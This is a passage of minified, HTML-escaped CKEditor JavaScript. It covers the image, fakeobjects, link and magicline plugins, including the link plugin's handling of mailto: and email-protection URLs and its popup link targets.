this._.output.push(this._.indentation);this._.indent=0},reset:function(){this._.output=[];this._.indent=0;this._.indentation=&quot;&quot;;this._.afterCloser=0;this._.inPre=0;this._.needsSpace=0},setRules:function(a,e){var b=this._.rules[a];b?CKEDITOR.tools.extend(b,e,!0):this._.rules[a]=e}}}),function(){function a(a,c){c||(c=a.getSelection().getSelectedElement());if(c&amp;&amp;c.is(&quot;img&quot;)&amp;&amp;!c.data(&quot;cke-realelement&quot;)&amp;&amp;!c.isReadOnly())return c}function e(a){var c=a.getStyle(&quot;float&quot;);if(&quot;inherit&quot;==c||&quot;none&quot;==c)c=0;c||
(c=a.getAttribute(&quot;align&quot;));return c}CKEDITOR.plugins.add(&quot;image&quot;,{requires:&quot;dialog&quot;,init:function(b){if(!b.plugins.image2){CKEDITOR.dialog.add(&quot;image&quot;,this.path+&quot;dialogs/image.js&quot;);var c=&quot;img[alt,!src]{border-style,border-width,float,height,margin,margin-bottom,margin-left,margin-right,margin-top,width}&quot;;CKEDITOR.dialog.isTabEnabled(b,&quot;image&quot;,&quot;advanced&quot;)&amp;&amp;(c=&quot;img[alt,dir,id,lang,longdesc,!src,title]{*}(*)&quot;);b.addCommand(&quot;image&quot;,new CKEDITOR.dialogCommand(&quot;image&quot;,{allowedContent:c,requiredContent:&quot;img[alt,src]&quot;,
contentTransformations:[[&quot;img{width}: sizeToStyle&quot;,&quot;img[width]: sizeToAttribute&quot;],[&quot;img{float}: alignmentToStyle&quot;,&quot;img[align]: alignmentToAttribute&quot;]]}));b.ui.addButton&amp;&amp;b.ui.addButton(&quot;Image&quot;,{label:b.lang.common.image,command:&quot;image&quot;,toolbar:&quot;insert,10&quot;});b.on(&quot;doubleclick&quot;,function(a){var b=a.data.element;!b.is(&quot;img&quot;)||b.data(&quot;cke-realelement&quot;)||b.isReadOnly()||(a.data.dialog=&quot;image&quot;)});b.addMenuItems&amp;&amp;b.addMenuItems({image:{label:b.lang.image.menu,command:&quot;image&quot;,group:&quot;image&quot;}});b.contextMenu&amp;&amp;
b.contextMenu.addListener(function(c){if(a(b,c))return{image:CKEDITOR.TRISTATE_OFF}})}},afterInit:function(b){function c(c){var k=b.getCommand(&quot;justify&quot;+c);if(k){if(&quot;left&quot;==c||&quot;right&quot;==c)k.on(&quot;exec&quot;,function(k){var f=a(b),h;f&amp;&amp;(h=e(f),h==c?(f.removeStyle(&quot;float&quot;),c==e(f)&amp;&amp;f.removeAttribute(&quot;align&quot;)):f.setStyle(&quot;float&quot;,c),k.cancel())});k.on(&quot;refresh&quot;,function(k){var f=a(b);f&amp;&amp;(f=e(f),this.setState(f==c?CKEDITOR.TRISTATE_ON:&quot;right&quot;==c||&quot;left&quot;==c?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),k.cancel())})}}
b.plugins.image2||(c(&quot;left&quot;),c(&quot;right&quot;),c(&quot;center&quot;),c(&quot;block&quot;))}})}(),CKEDITOR.config.image_removeLinkByEmptyURL=!0,function(){function a(a,b){var d=c.exec(a),e=c.exec(b);if(d){if(!d[2]&amp;&amp;&quot;px&quot;==e[2])return e[1];if(&quot;px&quot;==d[2]&amp;&amp;!e[2])return e[1]+&quot;px&quot;}return b}var e=CKEDITOR.htmlParser.cssStyle,b=CKEDITOR.tools.cssLength,c=/^((?:\d*(?:\.\d+))|(?:\d+))(.*)?$/i,d={elements:{$:function(b){var c=b.attributes;if((c=(c=(c=c&amp;&amp;c[&quot;data-cke-realelement&quot;])&amp;&amp;new CKEDITOR.htmlParser.fragment.fromHtml(decodeURIComponent(c)))&amp;&amp;
c.children[0])&amp;&amp;b.attributes[&quot;data-cke-resizable&quot;]){var d=(new e(b)).rules;b=c.attributes;var h=d.width,d=d.height;h&amp;&amp;(b.width=a(b.width,h));d&amp;&amp;(b.height=a(b.height,d))}return c}}};CKEDITOR.plugins.add(&quot;fakeobjects&quot;,{init:function(a){a.filter.allow(&quot;img[!data-cke-realelement,src,alt,title](*){*}&quot;,&quot;fakeobjects&quot;)},afterInit:function(a){(a=(a=a.dataProcessor)&amp;&amp;a.htmlFilter)&amp;&amp;a.addRules(d,{applyToAll:!0})}});CKEDITOR.editor.prototype.createFakeElement=function(a,c,d,h){var l=this.lang.fakeobjects,l=l[d]||
l.unknown;c={&quot;class&quot;:c,&quot;data-cke-realelement&quot;:encodeURIComponent(a.getOuterHtml()),&quot;data-cke-real-node-type&quot;:a.type,alt:l,title:l,align:a.getAttribute(&quot;align&quot;)||&quot;&quot;};CKEDITOR.env.hc||(c.src=CKEDITOR.tools.transparentImageData);d&amp;&amp;(c[&quot;data-cke-real-element-type&quot;]=d);h&amp;&amp;(c[&quot;data-cke-resizable&quot;]=h,d=new e,h=a.getAttribute(&quot;width&quot;),a=a.getAttribute(&quot;height&quot;),h&amp;&amp;(d.rules.width=b(h)),a&amp;&amp;(d.rules.height=b(a)),d.populate(c));return this.document.createElement(&quot;img&quot;,{attributes:c})};CKEDITOR.editor.prototype.createFakeParserElement=
function(a,c,d,h){var l=this.lang.fakeobjects,l=l[d]||l.unknown,g;g=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(g);g=g.getHtml();c={&quot;class&quot;:c,&quot;data-cke-realelement&quot;:encodeURIComponent(g),&quot;data-cke-real-node-type&quot;:a.type,alt:l,title:l,align:a.attributes.align||&quot;&quot;};CKEDITOR.env.hc||(c.src=CKEDITOR.tools.transparentImageData);d&amp;&amp;(c[&quot;data-cke-real-element-type&quot;]=d);h&amp;&amp;(c[&quot;data-cke-resizable&quot;]=h,h=a.attributes,a=new e,d=h.width,h=h.height,void 0!==d&amp;&amp;(a.rules.width=b(d)),void 0!==h&amp;&amp;(a.rules.height=
b(h)),a.populate(c));return new CKEDITOR.htmlParser.element(&quot;img&quot;,c)};CKEDITOR.editor.prototype.restoreRealElement=function(b){if(b.data(&quot;cke-real-node-type&quot;)!=CKEDITOR.NODE_ELEMENT)return null;var c=CKEDITOR.dom.element.createFromHtml(decodeURIComponent(b.data(&quot;cke-realelement&quot;)),this.document);if(b.data(&quot;cke-resizable&quot;)){var d=b.getStyle(&quot;width&quot;);b=b.getStyle(&quot;height&quot;);d&amp;&amp;c.setAttribute(&quot;width&quot;,a(c.getAttribute(&quot;width&quot;),d));b&amp;&amp;c.setAttribute(&quot;height&quot;,a(c.getAttribute(&quot;height&quot;),b))}return c}}(),
&quot;use strict&quot;,function(){function a(a){return a.replace(/&#039;/g,&quot;\\$\x26&quot;)}function e(a){for(var b,c=a.length,d=[],f=0;f&lt;c;f++)b=a.charCodeAt(f),d.push(b);return&quot;String.fromCharCode(&quot;+d.join(&quot;,&quot;)+&quot;)&quot;}function b(b,c){var d=b.plugins.link,f=d.compiledProtectionFunction.params,e,h;h=[d.compiledProtectionFunction.name,&quot;(&quot;];for(var g=0;g&lt;f.length;g++)d=f[g].toLowerCase(),e=c[d],0&lt;g&amp;&amp;h.push(&quot;,&quot;),h.push(&quot;&#039;&quot;,e?a(encodeURIComponent(c[d])):&quot;&quot;,&quot;&#039;&quot;);h.push(&quot;)&quot;);return h.join(&quot;&quot;)}function c(a){a=a.config.emailProtection||
&quot;&quot;;var b;a&amp;&amp;&quot;encode&quot;!=a&amp;&amp;(b={},a.replace(/^([^(]+)\(([^)]+)\)$/,function(a,c,d){b.name=c;b.params=[];d.replace(/[^,\s]+/g,function(a){b.params.push(a)})}));return b}CKEDITOR.plugins.add(&quot;link&quot;,{requires:&quot;dialog,fakeobjects&quot;,onLoad:function(){function a(b){return c.replace(/%1/g,&quot;rtl&quot;==b?&quot;right&quot;:&quot;left&quot;).replace(/%2/g,&quot;cke_contents_&quot;+b)}var b=&quot;background:url(&quot;+CKEDITOR.getUrl(this.path+&quot;images&quot;+(CKEDITOR.env.hidpi?&quot;/hidpi&quot;:&quot;&quot;)+&quot;/anchor.png&quot;)+&quot;) no-repeat %1 center;border:1px dotted #00f;background-size:16px;&quot;,
c=&quot;.%2 a.cke_anchor,.%2 a.cke_anchor_empty,.cke_editable.%2 a[name],.cke_editable.%2 a[data-cke-saved-name]{&quot;+b+&quot;padding-%1:18px;cursor:auto;}.%2 img.cke_anchor{&quot;+b+&quot;width:16px;min-height:15px;height:1.15em;vertical-align:text-bottom;}&quot;;CKEDITOR.addCss(a(&quot;ltr&quot;)+a(&quot;rtl&quot;))},init:function(a){var b=&quot;a[!href]&quot;;CKEDITOR.dialog.isTabEnabled(a,&quot;link&quot;,&quot;advanced&quot;)&amp;&amp;(b=b.replace(&quot;]&quot;,&quot;,accesskey,charset,dir,id,lang,name,rel,tabindex,title,type]{*}(*)&quot;));CKEDITOR.dialog.isTabEnabled(a,&quot;link&quot;,&quot;target&quot;)&amp;&amp;(b=b.replace(&quot;]&quot;,
&quot;,target,onclick]&quot;));a.addCommand(&quot;link&quot;,new CKEDITOR.dialogCommand(&quot;link&quot;,{allowedContent:b,requiredContent:&quot;a[href]&quot;}));a.addCommand(&quot;anchor&quot;,new CKEDITOR.dialogCommand(&quot;anchor&quot;,{allowedContent:&quot;a[!name,id]&quot;,requiredContent:&quot;a[name]&quot;}));a.addCommand(&quot;unlink&quot;,new CKEDITOR.unlinkCommand);a.addCommand(&quot;removeAnchor&quot;,new CKEDITOR.removeAnchorCommand);a.setKeystroke(CKEDITOR.CTRL+76,&quot;link&quot;);a.ui.addButton&amp;&amp;(a.ui.addButton(&quot;Link&quot;,{label:a.lang.link.toolbar,command:&quot;link&quot;,toolbar:&quot;links,10&quot;}),a.ui.addButton(&quot;Unlink&quot;,
{label:a.lang.link.unlink,command:&quot;unlink&quot;,toolbar:&quot;links,20&quot;}),a.ui.addButton(&quot;Anchor&quot;,{label:a.lang.link.anchor.toolbar,command:&quot;anchor&quot;,toolbar:&quot;links,30&quot;}));CKEDITOR.dialog.add(&quot;link&quot;,this.path+&quot;dialogs/link.js&quot;);CKEDITOR.dialog.add(&quot;anchor&quot;,this.path+&quot;dialogs/anchor.js&quot;);a.on(&quot;doubleclick&quot;,function(b){var c=CKEDITOR.plugins.link.getSelectedLink(a)||b.data.element;c.isReadOnly()||(c.is(&quot;a&quot;)?(b.data.dialog=!c.getAttribute(&quot;name&quot;)||c.getAttribute(&quot;href&quot;)&amp;&amp;c.getChildCount()?&quot;link&quot;:&quot;anchor&quot;,b.data.link=
c):CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,c)&amp;&amp;(b.data.dialog=&quot;anchor&quot;))},null,null,0);a.on(&quot;doubleclick&quot;,function(b){b.data.dialog in{link:1,anchor:1}&amp;&amp;b.data.link&amp;&amp;a.getSelection().selectElement(b.data.link)},null,null,20);a.addMenuItems&amp;&amp;a.addMenuItems({anchor:{label:a.lang.link.anchor.menu,command:&quot;anchor&quot;,group:&quot;anchor&quot;,order:1},removeAnchor:{label:a.lang.link.anchor.remove,command:&quot;removeAnchor&quot;,group:&quot;anchor&quot;,order:5},link:{label:a.lang.link.menu,command:&quot;link&quot;,group:&quot;link&quot;,order:1},unlink:{label:a.lang.link.unlink,
command:&quot;unlink&quot;,group:&quot;link&quot;,order:5}});a.contextMenu&amp;&amp;a.contextMenu.addListener(function(b){if(!b||b.isReadOnly())return null;b=CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,b);if(!b&amp;&amp;!(b=CKEDITOR.plugins.link.getSelectedLink(a)))return null;var c={};b.getAttribute(&quot;href&quot;)&amp;&amp;b.getChildCount()&amp;&amp;(c={link:CKEDITOR.TRISTATE_OFF,unlink:CKEDITOR.TRISTATE_OFF});b&amp;&amp;b.hasAttribute(&quot;name&quot;)&amp;&amp;(c.anchor=c.removeAnchor=CKEDITOR.TRISTATE_OFF);return c});this.compiledProtectionFunction=c(a)},afterInit:function(a){a.dataProcessor.dataFilter.addRules({elements:{a:function(b){return b.attributes.name?
b.children.length?null:a.createFakeParserElement(b,&quot;cke_anchor&quot;,&quot;anchor&quot;):null}}});var b=a._.elementsPath&amp;&amp;a._.elementsPath.filters;b&amp;&amp;b.push(function(b,c){if(&quot;a&quot;==c&amp;&amp;(CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,b)||b.getAttribute(&quot;name&quot;)&amp;&amp;(!b.getAttribute(&quot;href&quot;)||!b.getChildCount())))return&quot;anchor&quot;})}});var d=/^javascript:/,k=/^mailto:([^?]+)(?:\?(.+))?$/,m=/subject=([^;?:@&amp;=$,\/]*)/i,f=/body=([^;?:@&amp;=$,\/]*)/i,h=/^#(.*)$/,l=/^((?:http|https|ftp|news):\/\/)?(.*)$/,g=/^(_(?:self|top|parent|blank))$/,
n=/^javascript:void\(location\.href=&#039;mailto:&#039;\+String\.fromCharCode\(([^)]+)\)(?:\+&#039;(.*)&#039;)?\)$/,v=/^javascript:([^(]+)\(([^)]+)\)$/,u=/\s*window.open\(\s*this\.href\s*,\s*(?:&#039;([^&#039;]*)&#039;|null)\s*,\s*&#039;([^&#039;]*)&#039;\s*\)\s*;\s*return\s*false;*\s*/,q=/(?:^|,)([^=]+)=(\d+|yes|no)/gi,t={id:&quot;advId&quot;,dir:&quot;advLangDir&quot;,accessKey:&quot;advAccessKey&quot;,name:&quot;advName&quot;,lang:&quot;advLangCode&quot;,tabindex:&quot;advTabIndex&quot;,title:&quot;advTitle&quot;,type:&quot;advContentType&quot;,&quot;class&quot;:&quot;advCSSClasses&quot;,charset:&quot;advCharset&quot;,style:&quot;advStyles&quot;,rel:&quot;advRel&quot;};
CKEDITOR.plugins.link={getSelectedLink:function(a){var b=a.getSelection(),c=b.getSelectedElement();return c&amp;&amp;c.is(&quot;a&quot;)?c:(b=b.getRanges()[0])?(b.shrink(CKEDITOR.SHRINK_TEXT),a.elementPath(b.getCommonAncestor()).contains(&quot;a&quot;,1)):null},getEditorAnchors:function(a){for(var b=a.editable(),c=b.isInline()&amp;&amp;!a.plugins.divarea?a.document:b,b=c.getElementsByTag(&quot;a&quot;),c=c.getElementsByTag(&quot;img&quot;),d=[],f=0,e;e=b.getItem(f++);)(e.data(&quot;cke-saved-name&quot;)||e.hasAttribute(&quot;name&quot;))&amp;&amp;d.push({name:e.data(&quot;cke-saved-name&quot;)||
e.getAttribute(&quot;name&quot;),id:e.getAttribute(&quot;id&quot;)});for(f=0;e=c.getItem(f++);)(e=this.tryRestoreFakeAnchor(a,e))&amp;&amp;d.push({name:e.getAttribute(&quot;name&quot;),id:e.getAttribute(&quot;id&quot;)});return d},fakeAnchor:!0,tryRestoreFakeAnchor:function(a,b){if(b&amp;&amp;b.data(&quot;cke-real-element-type&quot;)&amp;&amp;&quot;anchor&quot;==b.data(&quot;cke-real-element-type&quot;)){var c=a.restoreRealElement(b);if(c.data(&quot;cke-saved-name&quot;))return c}},parseLinkAttributes:function(a,b){var c=b&amp;&amp;(b.data(&quot;cke-saved-href&quot;)||b.getAttribute(&quot;href&quot;))||&quot;&quot;,e=a.plugins.link.compiledProtectionFunction,
r=a.config.emailProtection,w,C={};c.match(d)&amp;&amp;(&quot;encode&quot;==r?c=c.replace(n,function(a,b,c){c=c||&quot;&quot;;return&quot;mailto:&quot;+String.fromCharCode.apply(String,b.split(&quot;,&quot;))+c.replace(/\\&#039;/g,&quot;&#039;&quot;)}):r&amp;&amp;c.replace(v,function(a,b,c){if(b==e.name){C.type=&quot;email&quot;;a=C.email={};b=/(^&#039;)|(&#039;$)/g;c=c.match(/[^,\s]+/g);for(var d=c.length,f,h,g=0;g&lt;d;g++)f=decodeURIComponent,h=c[g].replace(b,&quot;&quot;).replace(/\\&#039;/g,&quot;&#039;&quot;),h=f(h),f=e.params[g].toLowerCase(),a[f]=h;a.address=[a.name,a.domain].join(&quot;@&quot;)}}));if(!C.type)if(r=c.match(h))C.type=
&quot;anchor&quot;,C.anchor={},C.anchor.name=C.anchor.id=r[1];else if(r=c.match(k)){w=c.match(m);c=c.match(f);C.type=&quot;email&quot;;var x=C.email={};x.address=r[1];w&amp;&amp;(x.subject=decodeURIComponent(w[1]));c&amp;&amp;(x.body=decodeURIComponent(c[1]))}else c&amp;&amp;(w=c.match(l))&amp;&amp;(C.type=&quot;url&quot;,C.url={},C.url.protocol=w[1],C.url.url=w[2]);if(b){if(c=b.getAttribute(&quot;target&quot;))C.target={type:c.match(g)?c:&quot;frame&quot;,name:c};else if(c=(c=b.data(&quot;cke-pa-onclick&quot;)||b.getAttribute(&quot;onclick&quot;))&amp;&amp;c.match(u))for(C.target={type:&quot;popup&quot;,name:c[1]};r=
q.exec(c[2]);)&quot;yes&quot;!=r[2]&amp;&amp;&quot;1&quot;!=r[2]||r[1]in{height:1,width:1,top:1,left:1}?isFinite(r[2])&amp;&amp;(C.target[r[1]]=r[2]):C.target[r[1]]=!0;var c={},B;for(B in t)(r=b.getAttribute(B))&amp;&amp;(c[t[B]]=r);if(B=b.data(&quot;cke-saved-name&quot;)||c.advName)c.advName=B;CKEDITOR.tools.isEmpty(c)||(C.advanced=c)}return C},getLinkAttributes:function(c,d){var f=c.config.emailProtection||&quot;&quot;,h={};switch(d.type){case &quot;url&quot;:var f=d.url&amp;&amp;void 0!==d.url.protocol?d.url.protocol:&quot;http://&quot;,g=d.url&amp;&amp;CKEDITOR.tools.trim(d.url.url)||&quot;&quot;;h[&quot;data-cke-saved-href&quot;]=
0===g.indexOf(&quot;/&quot;)?g:f+g;break;case &quot;anchor&quot;:f=d.anchor&amp;&amp;d.anchor.id;h[&quot;data-cke-saved-href&quot;]=&quot;#&quot;+(d.anchor&amp;&amp;d.anchor.name||f||&quot;&quot;);break;case &quot;email&quot;:var k=d.email,g=k.address;switch(f){case &quot;&quot;:case &quot;encode&quot;:var l=encodeURIComponent(k.subject||&quot;&quot;),m=encodeURIComponent(k.body||&quot;&quot;),k=[];l&amp;&amp;k.push(&quot;subject\x3d&quot;+l);m&amp;&amp;k.push(&quot;body\x3d&quot;+m);k=k.length?&quot;?&quot;+k.join(&quot;\x26&quot;):&quot;&quot;;&quot;encode&quot;==f?(f=[&quot;javascript:void(location.href\x3d&#039;mailto:&#039;+&quot;,e(g)],k&amp;&amp;f.push(&quot;+&#039;&quot;,a(k),&quot;&#039;&quot;),f.push(&quot;)&quot;)):f=[&quot;mailto:&quot;,g,k];break;default:f=
g.split(&quot;@&quot;,2),k.name=f[0],k.domain=f[1],f=[&quot;javascript:&quot;,b(c,k)]}h[&quot;data-cke-saved-href&quot;]=f.join(&quot;&quot;)}if(d.target)if(&quot;popup&quot;==d.target.type){for(var f=[&quot;window.open(this.href, &#039;&quot;,d.target.name||&quot;&quot;,&quot;&#039;, &#039;&quot;],n=&quot;resizable status location toolbar menubar fullscreen scrollbars dependent&quot;.split(&quot; &quot;),g=n.length,l=function(a){d.target[a]&amp;&amp;n.push(a+&quot;\x3d&quot;+d.target[a])},k=0;k&lt;g;k++)n[k]+=d.target[n[k]]?&quot;\x3dyes&quot;:&quot;\x3dno&quot;;l(&quot;width&quot;);l(&quot;left&quot;);l(&quot;height&quot;);l(&quot;top&quot;);f.push(n.join(&quot;,&quot;),&quot;&#039;); return false;&quot;);h[&quot;data-cke-pa-onclick&quot;]=
f.join(&quot;&quot;)}else&quot;notSet&quot;!=d.target.type&amp;&amp;d.target.name&amp;&amp;(h.target=d.target.name);if(d.advanced){for(var q in t)(f=d.advanced[t[q]])&amp;&amp;(h[q]=f);h.name&amp;&amp;(h[&quot;data-cke-saved-name&quot;]=h.name)}h[&quot;data-cke-saved-href&quot;]&amp;&amp;(h.href=h[&quot;data-cke-saved-href&quot;]);q={target:1,onclick:1,&quot;data-cke-pa-onclick&quot;:1,&quot;data-cke-saved-name&quot;:1};d.advanced&amp;&amp;CKEDITOR.tools.extend(q,t);for(var u in h)delete q[u];return{set:h,removed:CKEDITOR.tools.objectKeys(q)}}};CKEDITOR.unlinkCommand=function(){};CKEDITOR.unlinkCommand.prototype=
{exec:function(a){var b=new CKEDITOR.style({element:&quot;a&quot;,type:CKEDITOR.STYLE_INLINE,alwaysRemoveElement:1});a.removeStyle(b)},refresh:function(a,b){var c=b.lastElement&amp;&amp;b.lastElement.getAscendant(&quot;a&quot;,!0);c&amp;&amp;&quot;a&quot;==c.getName()&amp;&amp;c.getAttribute(&quot;href&quot;)&amp;&amp;c.getChildCount()?this.setState(CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_DISABLED)},contextSensitive:1,startDisabled:1,requiredContent:&quot;a[href]&quot;};CKEDITOR.removeAnchorCommand=function(){};CKEDITOR.removeAnchorCommand.prototype={exec:function(a){var b=
a.getSelection(),c=b.createBookmarks(),d;if(b&amp;&amp;(d=b.getSelectedElement())&amp;&amp;(d.getChildCount()?d.is(&quot;a&quot;):CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,d)))d.remove(1);else if(d=CKEDITOR.plugins.link.getSelectedLink(a))d.hasAttribute(&quot;href&quot;)?(d.removeAttributes({name:1,&quot;data-cke-saved-name&quot;:1}),d.removeClass(&quot;cke_anchor&quot;)):d.remove(1);b.selectBookmarks(c)},requiredContent:&quot;a[name]&quot;};CKEDITOR.tools.extend(CKEDITOR.config,{linkShowAdvancedTab:!0,linkShowTargetTab:!0})}(),&quot;use strict&quot;,function(){function a(a,
b,c){return n(b)&amp;&amp;n(c)&amp;&amp;c.equals(b.getNext(function(a){return!(Z(a)||X(a)||v(a))}))}function e(a){this.upper=a[0];this.lower=a[1];this.set.apply(this,a.slice(2))}function b(a){var b=a.element;if(b&amp;&amp;n(b)&amp;&amp;(b=b.getAscendant(a.triggers,!0))&amp;&amp;a.editable.contains(b)){var c=m(b);if(&quot;true&quot;==c.getAttribute(&quot;contenteditable&quot;))return b;if(c.is(a.triggers))return c}return null}function c(a,b,c){r(a,b);r(a,c);a=b.size.bottom;c=c.size.top;return a&amp;&amp;c?0|(a+c)/2:a||c}function d(a,b,c){return b=b[c?&quot;getPrevious&quot;:
&quot;getNext&quot;](function(b){return b&amp;&amp;b.type==CKEDITOR.NODE_TEXT&amp;&amp;!Z(b)||n(b)&amp;&amp;!v(b)&amp;&amp;!g(a,b)})}function k(a,b,c){return a&gt;b&amp;&amp;a&lt;c}function m(a,b){if(a.data(&quot;cke-editable&quot;))return null;for(b||(a=a.getParent());a&amp;&amp;!a.data(&quot;cke-editable&quot;);){if(a.hasAttribute(&quot;contenteditable&quot;))return a;a=a.getParent()}return null}function f(a){var b=a.doc,c=F(&#039;\x3cspan contenteditable\x3d&quot;false&quot; style\x3d&quot;&#039;+Q+&quot;position:absolute;border-top:1px dashed &quot;+a.boxColor+&#039;&quot;\x3e\x3c/span\x3e&#039;,b),d=CKEDITOR.getUrl(this.path+&quot;images/&quot;+
(E.hidpi?&quot;hidpi/&quot;:&quot;&quot;)+&quot;icon&quot;+(a.rtl?&quot;-rtl&quot;:&quot;&quot;)+&quot;.png&quot;);B(c,{attach:function(){this.wrap.getParent()||this.wrap.appendTo(a.editable,!0);return this},lineChildren:[B(F(&#039;\x3cspan title\x3d&quot;&#039;+a.editor.lang.magicline.title+&#039;&quot; contenteditable\x3d&quot;false&quot;\x3e\x26#8629;\x3c/span\x3e&#039;,b),{base:Q+&quot;height:17px;width:17px;&quot;+(a.rtl?&quot;left&quot;:&quot;right&quot;)+&quot;:17px;background:url(&quot;+d+&quot;) center no-repeat &quot;+a.boxColor+&quot;;cursor:pointer;&quot;+(E.hc?&quot;font-size: 15px;line-height:14px;border:1px solid #fff;text-align:center;&quot;:&quot;&quot;)+(E.hidpi?
&quot;background-size: 9px 10px;&quot;:&quot;&quot;),looks:[&quot;top:-8px; border-radius: 2px;&quot;,&quot;top:-17px; border-radius: 2px 2px 0px 0px;&quot;,&quot;top:-1px; border-radius: 0px 0px 2px 2px;&quot;]}),B(F(V,b),{base:Y+&quot;left:0px;border-left-color:&quot;+a.boxColor+&quot;;&quot;,looks:[&quot;border-width:8px 0 8px 8px;top:-8px&quot;,&quot;border-width:8px 0 0 8px;top:-8px&quot;,&quot;border-width:0 0 8px 8px;top:0px&quot;]}),B(F(V,b),{base:Y+&quot;right:0px;border-right-color:&quot;+a.boxColor+&quot;;&quot;,looks:[&quot;border-width:8px 8px 8px 0;top:-8px&quot;,&quot;border-width:8px 8px 0 0;top:-8px&quot;,&quot;border-width:0 8px 8px 0;top:0px&quot;]})],
detach:function(){this.wrap.getParent()&amp;&amp;this.wrap.remove();return this},mouseNear:function(){r(a,this);var b=a.holdDistance,c=this.size;return c&amp;&amp;k(a.mouse.y,c.top-b,c.bottom+b)&amp;&amp;k(a.mouse.x,c.left-b,c.right+b)?!0:!1},place:function(){var b=a.view,c=a.editable,d=a.trigger,f=d.upper,e=d.lower,h=f||e,g=h.getParent(),l={};this.trigger=d;f&amp;&amp;r(a,f,!0);e&amp;&amp;r(a,e,!0);r(a,g,!0);a.inInlineMode&amp;&amp;w(a,!0);g.equals(c)?(l.left=b.scroll.x,l.right=-b.scroll.x,l.width=&quot;&quot;):(l.left=h.size.left-h.size.margin.left+b.scroll.x-
(a.inInlineMode?b.editable.left+b.editable.border.left:0),l.width=h.size.outerWidth+h.size.margin.left+h.size.margin.right+b.scroll.x,l.right=&quot;&quot;);f&amp;&amp;e?l.top=f.size.margin.bottom===e.size.margin.top?0|f.size.bottom+f.size.margin.bottom/2:f.size.margin.bottom&lt;e.size.margin.top?f.size.bottom+f.size.margin.bottom:f.size.bottom+f.size.margin.bottom-e.size.margin.top:f?e||(l.top=f.size.bottom+f.size.margin.bottom):l.top=e.size.top-e.size.margin.top;d.is(T)||k(l.top,b.scroll.y-15,b.scroll.y+5)?(l.top=a.inInlineMode?
0:b.scroll.y,this.look(T)):d.is(O)||k(l.top,b.pane.bottom-5,b.pane.bottom+15)?(l.top=a.inInlineMode?b.editable.height+b.editable.padding.top+b.editable.padding.bottom:b.pane.bottom-1,this.look(O)):(a.inInlineMode&amp;&amp;(l.top-=b.editable.top+b.editable.border.top),this.look(J));a.inInlineMode&amp;&amp;(l.top--,l.top+=b.editable.scroll.top,l.left+=b.editable.scroll.left);for(var m in l)l[m]=CKEDITOR.tools.cssLength(l[m]);this.setStyles(l)},look:function(a){if(this.oldLook!=a){for(var b=this.lineChildren.length,
c;b--;)(c=this.lineChildren[b]).setAttribute(&quot;style&quot;,c.base+c.looks[0|a/2]);this.oldLook=a}},wrap:new D(&quot;span&quot;,a.doc)});for(b=c.lineChildren.length;b--;)c.lineChildren[b].appendTo(c);c.look(J);c.appendTo(c.wrap);c.unselectable();c.lineChildren[0].on(&quot;mouseup&quot;,function(b){c.detach();h(a,function(b){var c=a.line.trigger;b[c.is(N)?&quot;insertBefore&quot;:&quot;insertAfter&quot;](c.is(N)?c.lower:c.upper)},!0);a.editor.focus();E.ie||a.enterMode==CKEDITOR.ENTER_BR||a.hotNode.scrollIntoView();b.data.preventDefault(!0)});c.on(&quot;mousedown&quot;,
function(a){a.data.preventDefault(!0)});a.line=c}function h(a,b,c){var d=new CKEDITOR.dom.range(a.doc),f=a.editor,e;E.ie&amp;&amp;a.enterMode==CKEDITOR.ENTER_BR?e=a.doc.createText(ca):(e=(e=m(a.element,!0))&amp;&amp;e.data(&quot;cke-enter-mode&quot;)||a.enterMode,e=new D(L[e],a.doc),e.is(&quot;br&quot;)||a.doc.createText(ca).appendTo(e));c&amp;&amp;f.fire(&quot;saveSnapshot&quot;);b(e);d.moveToPosition(e,CKEDITOR.POSITION_AFTER_START);f.getSelection().selectRanges([d]);a.hotNode=e;c&amp;&amp;f.fire(&quot;saveSnapshot&quot;)}function l(a,c){return{canUndo:!0,modes:{wysiwyg:1},
exec:function(){function f(b){var d=E.ie&amp;&amp;9&gt;E.version?&quot; &quot;:ca,e=a.hotNode&amp;&amp;a.hotNode.getText()==d&amp;&amp;a.element.equals(a.hotNode)&amp;&amp;a.lastCmdDirection===!!c;h(a,function(d){e&amp;&amp;a.hotNode&amp;&amp;a.hotNode.remove();d[c?&quot;insertAfter&quot;:&quot;insertBefore&quot;](b);d.setAttributes({&quot;data-cke-magicline-hot&quot;:1,&quot;data-cke-magicline-dir&quot;:!!c});a.lastCmdDirection=!!c});E.ie||a.enterMode==CKEDITOR.ENTER_BR||a.hotNode.scrollIntoView();a.line.detach()}return function(e){e=e.getSelection().getStartElement();var h;e=e.getAscendant(M,1);
if(!t(a,e)&amp;&amp;e&amp;&amp;!e.equals(a.editable)&amp;&amp;!e.contains(a.editable)){(h=m(e))&amp;&amp;&quot;false&quot;==h.getAttribute(&quot;contenteditable&quot;)&amp;&amp;(e=h);a.element=e;h=d(a,e,!c);var g;n(h)&amp;&amp;h.is(a.triggers)&amp;&amp;h.is(K)&amp;&amp;(!d(a,h,!c)||(g=d(a,h,!c))&amp;&amp;n(g)&amp;&amp;g.is(a.triggers))?f(h):(g=b(a,e),n(g)&amp;&amp;(d(a,g,!c)?(e=d(a,g,!c))&amp;&amp;n(e)&amp;&amp;e.is(a.triggers)&amp;&amp;f(g):f(g)))}}}()}}function g(a,b){if(!b||b.type!=CKEDITOR.NODE_ELEMENT||!b.$)return!1;var c=a.line;return c.wrap.equals(b)||c.wrap.contains(b)}function n(a){return a&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
a.$}function v(a){if(!n(a))return!1;var b;(b=u(a))||(n(a)?(b={left:1,right:1,center:1},b=!(!b[a.getComputedStyle(&quot;float&quot;)]&amp;&amp;!b[a.getAttribute(&quot;align&quot;)])):b=!1);return b}function u(a){return!!{absolute:1,fixed:1}[a.getComputedStyle(&quot;position&quot;)]}function q(a,b){return n(b)?b.is(a.triggers):null}function t(a,b){if(!b)return!1;for(var c=b.getParents(1),d=c.length;d--;)for(var f=a.tabuList.length;f--;)if(c[d].hasAttribute(a.tabuList[f]))return!0;return!1}function p(a,b,c){b=b[c?&quot;getLast&quot;:&quot;getFirst&quot;](function(b){return a.isRelevant(b)&amp;&amp;
